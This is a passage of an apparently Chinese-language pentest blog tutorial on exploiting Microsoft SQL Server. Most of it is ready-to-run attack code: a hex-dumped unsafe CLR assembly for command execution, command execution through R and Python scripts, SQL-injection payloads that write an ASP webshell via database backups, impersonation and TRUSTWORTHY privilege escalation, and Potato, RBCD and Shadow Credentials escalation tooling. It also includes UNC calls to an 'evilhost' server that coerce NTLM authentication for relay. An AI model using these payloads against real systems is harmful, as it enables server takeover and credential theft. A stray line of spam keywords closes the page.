63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000A7C6FCDEFB8D2B4C9805427776B771E2000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006D84636300000000020000001C010000E02A0000E00C00005253445321C0E93DFC8FA04884BA530C6C460CFC01000000433A5C55736572735C77686F616D695C736F757263655C7265706F735C4D7373716C436C725C4D7373716C436C725C6F626A5C44656275675C4D7373716C436C722E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000242C000000000000000000003E2C0000002000000000000000000000000000000000000000000000302C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003A000D00010049006E007400650072006E0061006C004E0061006D00650000004D007300730071006C0043006C0072002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000042000D0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004D007300730071006C0043006C0072002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
        WITH PERMISSION_SET = UNSAFE;
    GO
    /* 從程序集 MssqlClr 創建存儲過程 dbo.ExecCommand */
    CREATE PROCEDURE [dbo].[ExecCommand]
    @cmd NVARCHAR (MAX) NULL
    AS EXTERNAL NAME [MssqlClr].[StoredProcedures].[ExecCommand]
    GO
    /* 利用創建的存儲過程 dbo.ExecCommand 執行系統命令 */
    EXEC dbo.ExecCommand "whoami /all";
    /* 利用結束后,先后刪除程序集和存儲過程 */
    DROP PROCEDURE [dbo].[ExecCommand];
    DROP ASSEMBLY [MssqlClr];
    

    SQL Server R & Python

    在 SQL Server 2017 及更高版本中,R 與 Python 一起隨附在機器學習服務中。該服務允許通過 SQL Server 中 sp_execute_external_script 執行 Python 和 R 腳本。

    SQL Server R & Python 的利用條件如下:

    • ? SQL Server 安裝了機器學習服務或語言擴展
    • ? 啟用了外部腳本編寫功能

    相關配置方法如下:

    /* 啟用外部腳本編寫功能 */
    EXEC sp_configure 'external scripts enabled', 1;
    RECONFIGURE WITH OVERRIDE;
    

    相關利用方法如下:

    • ? 利用 R 執行系統命令
    EXEC sp_execute_external_script
    @language=N'R',
    @script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
    WITH RESULT SETS (([cmd_out] text));
    
    • ? 利用 Python 執行系統命令
    EXEC sp_execute_external_script
    @language =N'Python',
    @script=N'import subprocess
    p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
    OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
    
    • ? 利用 Python 讀取文件
    EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
    WITH RESULT SETS (([cmd_out] nvarchar(max)))
    

    利用 SQL Server 寫 WebShell

    如果運行 SQL Server 的服務器上存在 Web 服務,我們借助通過 SQL Server 內置的存儲過程、數據備份以及日志備份等功能,向 Web 目錄內寫入 WebShell。不過在此之前,我們需要先知道 Web 根目錄的路徑。

    尋找 Web 根目錄

    針對 SQL Server,我們可以通過以下方法來尋找 Web 根目錄:

    • ? 通過 xp_dirtree 等存儲過程列目錄
    /* 列出 C 盤根目錄下的所有文件夾 */
    EXEC master..xp_dirtree 'c:',1
    /* 列出 C 盤根目錄下的所有文件夾 */
    EXEC master..xp_dirtree 'c:',1,1
    

    在 SQL 注入點處,我們可以先創建一張臨時空表,將查詢的結果插入到表中,最后再查詢這張臨時表來得到結果:

    ?id=-1;create table temp (dir varchar(8000),num int,num1 int);
    ?id=-1;insert into temp(dir, num, num1) execute master..xp_dirtree 'c:',1,1
    
    • ? 執行系統命令來尋找
    ?id=-1;create table temp (dir varchar(8000));
    ?id=-1;insert into temp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (*.aspx) do @echo %i'
    

    找到 Web 目錄后,除了利用上一節中涉及到的寫文件方法外,在 SQL Server 中還可以通過差異備份和日志備份來寫入 WebShell。

    差異備份 Getshell

    差異備份寫 WebShell 的利用條件如下:

    • ? 當前用戶權限即可
    • ? 知道的 Web 根目錄的路徑
    • ? SQL Server 服務運行帳戶對要寫入的目錄有寫入權限
    • ? 數據量不能太大

    相關利用方法如下,將數據庫備份成 asp/aspx/jsp 等文件:

    /* 必須先完整備份一次,FoundStone_Bank 是筆者當前的數據庫名 */
    ?id=-1;backup database FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\test.bak';
    /* 創建一張臨時表 */
    ?id=-1;create table [dbo].[test] ([cmd] [image]);
    /* 向表中插入一句話 WebShell:<%execute(request("a"))%> */
    ?id=-1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
    /* 再次備份,注意路徑 */
    ?id=-1;backup database FoundStone_Bank to disk='C:\inetpub\wwwroot\public\shell.asp' WITH DIFFERENTIAL,FORMAT;
    

    日志備份 Getshell

    相對于差異備份而言,日志備份寫入的 WebShell 體積較小,且多次備份的成功率較高。其利用條件如下:

    • ? 當前用戶具有 DBA 權限
    • ? 知道的 Web 根目錄的路徑
    • ? SQL Server 服務運行帳戶對要寫入的目錄有寫入權限
    • ? 數據庫必須被備份過一次

    相關利用方法如下,將數據庫日志備份成 asp/aspx/jsp 等文件:

    /* 把指定的數據庫激活為還原模式,FoundStone_Bank 是筆者當前的數據庫名 */
    ?id=-1;alter database FoundStone_Bank set RECOVERY FULL;
    /* 創建一張臨時表 */
    ?id=-1;create table test (cmd image);
    /* 先將數據庫日志備份一次 */
    ?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public' with init;
    /* 向表中插入一句話 WebShell:<%execute(request("a"))%> */
    ?id=-1;insert into test (cmd) values (0x3C25657865637574652872657175657374282261222929253E);
    /* 再將數據庫日志備份一次,寫入 WebShell */
    ?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\shell.asp';
    

    SQL Server 權限提升

    Impersonation Of Other Users

    默認情況下,SQL Server 的會話在用戶登錄時開始,在用戶注銷時結束。會話過程中的所有操作都受限于對該用戶進行的權限檢查。當運行 EXECUTE AS 語句時,會話的執行上下文將切換到指定的登錄名或用戶名。上下文切換后,將根據指定的登錄名和用戶安全令牌檢查該帳戶(而非調用 EXECUTE AS 語句的用戶)的權限。實際上,在會話或模塊的執行期間模擬了用戶或登錄帳戶,或顯式恢復了上下文切換。

    筆者將上述過程稱作 SQL Server 的用戶模擬。默認情況下,系統管理員可以模擬任何人,但是普通用戶必須被授予 IMPERSONATE 權限才能來模擬特定的用戶。

    在實戰中,如果我們接管了某一 SQL Server 帳戶,但是由于權限限制無法執行一些高權限操作。信息收集發現該用戶可以模擬高權限賬戶,那么就可以執行 EXECUTE AS 語句切換到高權限帳戶的上下文,實現垂直提權。

    Elevate to sysadmin

    如果一個登錄名被授予了模擬 sysadmin 角色登錄名的權限,那么我們可以通過 EXECUTE AS LOGIN 可以模擬這個高權限登錄名,提升至 sysadmin 權限。

    (1)首先預設存在漏洞的配置。創建兩個登錄名 LoginUser1 和 LoginUser2,并授予登錄名 LoginUser1 模擬登錄名 LoginUser2 和 SA 的權限。

    /* 創建兩個登錄名 LoginUser1 和 LoginUser2 */
    USE master;
    CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb';  
    CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b';  
    GO
    /* 授予登錄名 LoginUser1 模擬登錄名 LoginUser2 和 SA 的權限 */
    USE master;
    GRANT IMPERSONATE ON LOGIN::[sa] to [LoginUser1];
    GRANT IMPERSONATE ON LOGIN::[LoginUser2] to [LoginUser1];
    GO
    

    此時使用 LoginUser1 帳戶登錄,發現無法執行 xp_cmdshell 等高權限操作,如下圖所示。

    (2)在 LoginUser1 帳戶權限下,新建查詢,執行以下語句查詢當前帳戶可以模擬哪些帳戶。

    SELECT DISTINCT b.name 
    FROM sys.server_permissions a 
    INNER JOIN sys.server_principals b 
    ON a.grantor_principal_id = b.principal_id 
    WHERE a.permission_name = 'IMPERSONATE';
    

    從返回結果中可知,LoginUser1 帳戶可以模擬 SA 管理員帳戶。

    (3)執行以下語句,切換到 SA 帳戶的上下文,成功提權。

    /* 查看模擬前的登錄名以及是否為 sysadmin 角色 */
    SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
    /* 模擬 SA 帳戶 */
    EXECUTE AS LOGIN = 'sa';
    /* 查看模擬后的登錄名以及是否為 sysadmin 角色 */
    SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
    /* 模擬后成功執行 xp_cmdshell 等高權限操作 */
    EXEC master..xp_cmdshell 'whoami';
    

    Elevate to db_owner

    如果一個用戶名被授予了模擬 db_owner 角色用戶名的權限,那么我們可以通過 EXECUTE AS USER 可以模擬這個高權限用戶名,提升至 db_owner 權限。

    (1)首先預設存在漏洞的配置。創建兩個登錄名 LoginUser1 和 LoginUser2,從這兩個登錄名分別創建用戶名 User1 和 User2。將 User2 帳戶授予 db_owner 角色,LoginUser1 帳戶默認為 public 角色。然后授予用戶名 User1 模擬用戶名 User2 的權限。

    /* 創建兩個登錄名 LoginUser1 和 LoginUser2 */
    USE master;
    CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb', DEFAULT_DATABASE=FoundStone_Bank;
    CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b', DEFAULT_DATABASE=FoundStone_Bank;
    GO
    /* 從這兩個登錄名分別創建用戶名 User1 和 User2 */
    USE FoundStone_Bank;
    CREATE USER User1 FOR LOGIN LoginUser1 WITH DEFAULT_SCHEMA=dbo;
    CREATE USER User2 FOR LOGIN LoginUser2 WITH DEFAULT_SCHEMA=dbo; 
    GO
    /* 為 User2 帳戶授予 sysadmin 角色 */
    EXEC sp_addrolemember 'db_owner', 'User2';
    GO
    /* 授予用戶名 User1 模擬用戶名 User2 的權限 */
    GRANT IMPERSONATE ON USER::[User2] to [User1];
    GO
    

    此時使用 LoginUser1 帳戶登錄,發現無法執行任何查詢操作,如下圖所示。

    (2)在 User1 帳戶權限下,執行以下語句查詢當前登錄名和用戶名,以及當前用戶名可以模擬哪些帳戶。

    /* 查詢當前登錄名和用戶名 */
    SELECT SUSER_NAME(), USER_NAME();
    /* 查詢當前用戶名可以模擬哪些帳戶 */
    SELECT distinct b.name FROM sys.database_permissions a 
    INNER JOIN sys.database_principals b 
    ON a.grantor_principal_id = b.principal_id 
    WHERE a.permission_name = 'IMPERSONATE';
    

    從返回結果中可知,當前登錄名為 LoginUser1,用戶名為 User1,并且 User1 帳戶可以模擬用戶名 User2。

    (3)執行以下語句,切換到 SA 帳戶的上下文,成功提權。

    /* 查看模擬前的登錄名、用戶名以及是否為 db_owner 角色 */
    SELECT SUSER_NAME(), USER_NAME(), IS_ROLEMEMBER('db_owner');
    /* 模擬 User2 帳戶 */
    EXECUTE AS USER = 'User2';
    /* 查看模擬后的登錄名、用戶名以及是否為 db_owner 角色 */
    SELECT SUSER_NAME(), USER_NAME(), IS_ROLEMEMBER('db_owner');
    /* 模擬后成功執行查詢操作 */
    SELECT * FROM fsb_accounts;
    

    Trustworthy

    SQL Server 數據庫屬性 TRUSTWORTHY 用于指明 SQL Server 實例是否信任該數據庫以及其中的內容。如果普通用戶在管理員用戶(例如 SA)擁有的數據庫上被賦予 db_owner 角色,并且該數據庫被配置為可信任的,則該用戶可以濫用這些特權來獲得 sysadmin 權限,因為在那里創建的存儲過程可以模擬所有者的上下文執行。

    在默認情況下,只有數據庫 msdb 的 TRUSTWORTHY 屬性被設為了 ON。

    下面筆者演示相關利用過程。

    (1)首先預設存在漏洞的配置。以 SA 帳戶權限創建一個名為 TestDB 的數據庫(此時 TestDB 默認所有者是 SA),并為該數據庫開啟 TRUSTWORTHY 屬性。創建登錄名 LoginUser1,并為其創建用戶名 User1。為用戶名 User1 授予 TestDB 數據庫的 db_owner 角色。

    /* 創建一個名為 TestDB 的數據庫,并為該數據庫開啟 TRUSTWORTHY 屬性 */
    CREATE DATABASE TestDB;
    ALTER DATABASE TestDB SET TRUSTWORTHY ON;
    GO
    /* 創建登錄名 LoginUser1 */
    USE master;
    CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb', DEFAULT_DATABASE=TestDB;
    GO
    /* 從這兩個登錄名分別創建用戶名 User1 和 User2 */
    USE TestDB;
    CREATE USER User1 FOR LOGIN LoginUser1 WITH DEFAULT_SCHEMA=dbo;
    /* 為 User1 帳戶授予 sysadmin 角色 */
    EXEC sp_addrolemember 'db_owner', 'User1';
    

    此時使用 LoginUser1 帳戶登錄,發現無法執行 xp_cmdshell 等高權限操作,如下圖所示。

    (2)在 User1 帳戶權限下,執行以下語句查詢當前所有開啟了 TRUSTWORTHY 屬性的受信任數據庫。從返回結果中可知,當前數據庫受信任。

    SELECT a.name, b.is_trustworthy_on 
    FROM master..sysdatabases as a
    INNER JOIN sys.databases as b
    ON a.name=b.name;
    

    然后執行以下語句查詢對當前數據庫的有效角色,從返回結果中可知,當前用戶名即擁有 db_owner 角色。

    SELECT rp.name as database_role, mp.name as database_user 
    from sys.database_role_members drm
    join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
    join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
    

    (3)在 User1 帳戶權限下,最后通過創建存儲過程提升至 sysadmin 權限。

    /* 創建存儲過程,為當前登錄名授予 sysadmin 角色 */
    CREATE PROCEDURE sp_elevate_me
    WITH EXECUTE AS OWNER
    AS 
    EXEC sp_addsrvrolemember 'LoginUser1','sysadmin';
    /* 執行存儲過程 */
    EXEC sp_elevate_me;
    /* 查看提權后的登錄名以及是否為 sysadmin 角色 */
    SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
    /* 提權后成功執行 xp_cmdshell 等高權限操作 */
    EXEC master..xp_cmdshell 'whoami';
    

    本地特權提升

    在 Windows Server 2008 R2 和 Windows 7 之前,安裝的 SQL Server 默認使用本地系統帳戶(NT AUTHORITY\SYSTEM)運行,如果我們拿下了 SQL Server 的權限便可以 SYSTEM 權限執行系統命令。而在之后版本的系統中,SQL Server 會默認將實例名稱用作服務名稱的虛擬帳戶(格式為 NT SERVICE\),并使用虛擬帳戶的權限運行。

    “If the default value is used for the service accounts during SQL Server setup, a virtual account using the instance name as the service name is used, in the format NT SERVICE\

    虛擬帳戶是本地服務賬戶(NT AUTHORITY\LOCAL SERVICE)的一種,這就意味著 SQL Server 的運行權限被大幅度降低,如果要開展后滲透的話就必須本地提權。

    在本篇文章中,筆者僅介紹三種方法:

    • ? SeImpersonatePrivilege
    • ? Resource Based Constrained Delegation (RBCD)
    • ? Shadow Credentials

    SeImpersonatePrivilege

    本地服務帳戶所擁有的 SeAssignPrimaryTokenPrivilege 或 SeImpersonatePrivilege 特權意味著可以通過訪問令牌操縱技術實現本地提權。這兩個特權非常強大,允許用戶在另一個用戶的安全上下文中運行代碼甚至創建新進程。“Potato” 家族正是通過濫用 Windows 服務賬戶擁有的這兩項特權,將已獲取的 NT AUTHORITY\SYSTEM 賬戶的訪問令牌傳入 CreateProcessWithTokenW 或 CreateProcessAsUserA 函數進行調用,從而在 NT AUTHORITY\SYSTEM 賬戶的上下文中創建新進程,以提升至 SYSTEM 權限。

    在實戰場景中,若通過MSSQL 服務的 xp_cmdshell 成功執行了系統命令,就可以通過 “Potato” 家族提權的方法提升至 SYSTEM 權限。

    相關利用方法演示如下:

    • ? 通過 JuicyPotato 提升至 SYSTEM 權限(Windows Server 2019 and Windows 10 build 1809 prior version)
    JuicyPotato.exe -a whoami
    

    • ? 通過 PrintSpoofer 模擬命名管道客戶端提升至 SYSTEM 權限(Windows Server 2019 and Windows 10 build 1809 onwards, even all versions)
    PrintSpoofer.exe -i -c whoami
    

    Resource Based Constrained Delegation (RBCD)

    Resource Based Constrained Delegation (RBCD) 即基于資源的約束性委派。關于 RBCD 的細節,請讀者自行閱讀筆者 《淺入深出域委派攻擊》 這篇博客,本文不再贅述。

    根據微軟官方文檔的描述 “Services that run as virtual accounts access network resources by using the credentials of the computer account in the format \$,以虛擬帳戶身份運行的服務通過使用機器帳戶的憑據(格式為 \$)訪問網絡資源。因此,如果是在域環境中,我們完全可以在 SQL Server 虛擬帳戶的上下文中連接到活動目錄,并為當前機器帳戶設置 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性。

    由于機器賬戶擁有對自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性的 WriteProperty 權限。

    相關利用方法演示如下,獲取 SQL Server 權限后,通過 SharpAllowedToAct 在域內添加一個機器賬戶 PENTEST$,并設置 PENTEST$ 到為當前機器帳戶 WIN-MSSQL$ 的基于資源的約束性委派。

    SharpAllowedToAct.exe -m PENTEST -p Passw0rd -t WIN-MSSQL -D pentest.com
    

    設置成功后,通過 PENTEST$ 帳戶申請訪問 WIN-MSSQL$ 機器上 CIFS 服務的高權限票據,并最終獲取 WIN-MSSQL$ 的最高權限。

    Shadow Credentials

    在 Black Hat Europe 2019 大會期間,Michael Grafnetter(@MGrafnetter)討論了針對 Windows Hello for Business 技術的多種攻擊方法,其中包括域持久化技術。該技術涉及修改目標計算機賬戶或用戶帳戶的 msDS-KeyCredentialLink 屬性,以獲得用于檢索 NTLM 哈希值和請求 TGT 票據。關于 Shadow Credentials 的細節,請讀者自行閱讀筆者 《Shadow Credentials》 這篇博客,本文不再贅述。

    與設置 msDS-AllowedToActOnBehalfOfOtherIdentity 相似,機器賬戶對自身的 msDS-KeyCredentialLink 屬性擁有 WriteProperty 權限。我們可以在 SQL Server 虛擬帳戶的上下文中連接到活動目錄,為當前機器帳戶 WIN-MSSQL$ 設置 Shadow Credentials,并最終通過 S4U2Self 提升至 SYSTEM 權限。

    (1)執行以下命令,通過 Whisker 的向 WIN-MSSQL$ 的 msDS-KeyCredentialLink 屬性添加 Shadow Credentials。

    Whisker.exe add /target:WIN-MSSQL$ /domain:pentest.com /dc:dc01.pentest.com
    

    (2)Whisker 的輸出中包含了為 WIN-MSSQL$ 帳戶請求到的證書,我們將該證書 Base64 解密后寫入 win-mssql.pfx,之后可以與 Dirk-jan Mollema(@dirkjanm)的 PKINITtools 一起使用,以通過 KDC 進行身份驗證,請求以 .ccache 格式保存的 TGT 票據。

    python3 gettgtpkinit.py -cert-pfx win-mssql.pfx -pfx-pass C2wF94hNDeB6g26r pentest.com/win-mssql\$ win-mssql.ccache
    

    (3)通過 Kerberos 的 S4U2Self 擴展協議,使用已獲取的 WIN-MSSQL$ 帳戶 TGT 為域管理員申請針對 WIN-MSSQL$ 上 CIFS 服務的的 ST 票據。

    python3 gets4uticket.py kerberos+ccache://pentest.com\\win-mssql\$:win-mssql.ccache@dc01.pentest.com cifs/win-mssql.pentest.com@pentest.com Administrator@pentest.com Administrator.ccache -v
    

    (4)使用獲取到的 Administrator 用戶的票據,并通過 wmiexec.py 獲取 WIN-MSSQL$ 的最高權限,相關命令如下。

    export KRB5CCNAME=/root/PKINITtools/Administrator.ccache
    python3 wmiexec.py -k pentest.com/Administrator@win-mssql.pentest.com -no-pass
    

    Coerce Authentication

    熟悉 NTLM Relay 的讀者都清楚,能讓客戶端向任意服務器發起身份認證意味著什么。通過在 NTLM 認證過程中設置中間人,在客戶端與服務器之間傳遞認證消息,截獲客戶端的認證請求并將其重放到目標服務器,實現無需破解用戶密碼即可獲得訪問相關資源的權限。

    在 SQL Server 中,如果一些涉及到文件操作的存儲過程可控,我們可以嘗試將其中的文件路徑換成 UNC 路徑,強制 SQL Server 向任意服務器發起身份認證。并且,由于 SQL Server 默認運行在 Local System 或 Network Service 賬戶下,這就意味著我們 SQL Server 將以本地機器帳戶發起認證請求。雖然機器賬戶默認情況下不允許登錄,但如果是在域環境中,我們可以將這個認證請求中繼到活動目錄,從而修改機器的相關屬性實現本地特權提升。

    以下是筆者簡單羅列的幾個可以實現強制認證存儲過程:

    /* 通過 SMB 協議發起強制認證 */
    EXEC master..xp_fileexist '\\evilhost\share'
    EXEC master..xp_dirtree '\\evilhost\share'
    EXEC master..xp_subdirs '\\evilhost\share'
    EXEC master..xp_create_subdir '\\evilhost\share'
    EXEC master..xp_delete_file 0,'\\evilhost\share','bak'
    EXEC master..xp_cmdshell '\\evilhost\share.exe'
    /* 通過 Webdav(HTTP 協議)發起強制認證 */
    EXEC master..xp_fileexist '\\evilhost@80\webdav\test.txt'
    EXEC master..xp_dirtree '\\evilhost@80\webdav\test.txt'
    EXEC master..xp_subdirs '\\evilhost@80\webdav\test.txt'
    EXEC master..xp_create_subdir '\\evilhost@80\webdav\test.txt'
    EXEC master..xp_delete_file 0,'\\evilhost@80\webdav\test.txt','bak'
    EXEC master..xp_cmdshell '\\evilhost@80\webdav\test.exe'
    

    在強制身份驗證中,有很多服務可以支持身份驗證,最常利用的服務可能就是 SMB 了。但是,從近幾年攻擊的角度來看,很多時候 SMB 協議并不理想。因為 SMB 協議將導致協商簽名的服務器(例如 LDAP)對 NTLM 認證請求強制簽名,最終導致攻擊失敗。因此,越來越多的黑客將利用的角度轉向了那些不支持簽名的客戶端,例如 HTTP,最常見的就是臭名昭著的 WebDAV。關于 WebDAV 強制認證的細節,請讀者閱讀我的博客:《Privilege Escalation - NTLM Relay over HTTP (Webdav)》

    截獲 NTLM 認證請求后,可以將其中繼到 LDAP 服務,為當前機器設置 msDS-KeyCredentialLink 或 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性,并最終通過 Shadow Credentials 或 [RBCD](https://whoamianony.top/domain-delegation-attack/# 基于資源的約束性委派) 等方法特權提升。

    sql注入sql存儲過程
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在滲透測試過程中遇到了MSSQL數據庫,市面上也有一些文章,不過大多數講述的都是如何快速利用注入漏洞getshell的,對于MSSQL數據庫的注入漏洞沒有很詳細地描述。在這里我查閱了很多資料,希望在滲透測試過程中遇到了MSSQL數據庫能夠相對友好地進行滲透測試,文章針對實戰性教學,在概念描述方面有不懂的還請自行百度,謝謝大家~
    0x00 前言好久沒寫真實漏洞挖掘案例了,今天寫一筆。直接發漏洞細節很生硬,大家也學不到什么,只有帶入感情,留下筆者的想法,才能產生共鳴,真正的幫助到別人。四個漏洞描述順序:存儲過程sql注入
    防范SQL注入的三個大招
    在所有漏洞類型中,SQL 注入可是說是危害最大最受大家關注的漏洞。簡單說來,SQL 注入是通過在用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料之外結果的攻擊行為。還是以 ThinkJS 為例,假設我們寫了如下一個接口(實際情況肯定不會這么寫的):
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    基礎介紹Microsoft SQL Server 是微軟開發的關系型數據庫管理系統。作為數據庫服務器,它是一種軟件產品,主要功能是根據其他軟件應用程序的請求存儲和檢索數據,這些應用程序可以在同一臺計算機上運行,也可以在網絡上的另一臺計算機上運行。SQL Server 默認開放的端口是 TCP 1433。判斷數據庫類型/*?數據庫中獨有的數據表,如果頁面返回正常即可表示為?為便于管理數據庫中的權限,SQL Server 提供了若干角色,這些角色是用于對其他主體進行分組的安全主體。
    MSSQL注入和漏洞利用姿勢總結
    Mssql 從測試到實戰
    2022-05-23 07:12:19
    支持主機存活探測、端口掃描、常見服務的爆破、ms17010、redis批量寫公鑰、計劃任務反彈shell、讀取win網卡信息、web指紋識別、web漏洞掃描、netbios探測、域控識別等功能。項目地址:http://sqlmap.org/3、多種數據庫管理工具工具一:HeidiSQLHeidiSQL 是免費軟件,其目標是易于學習。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类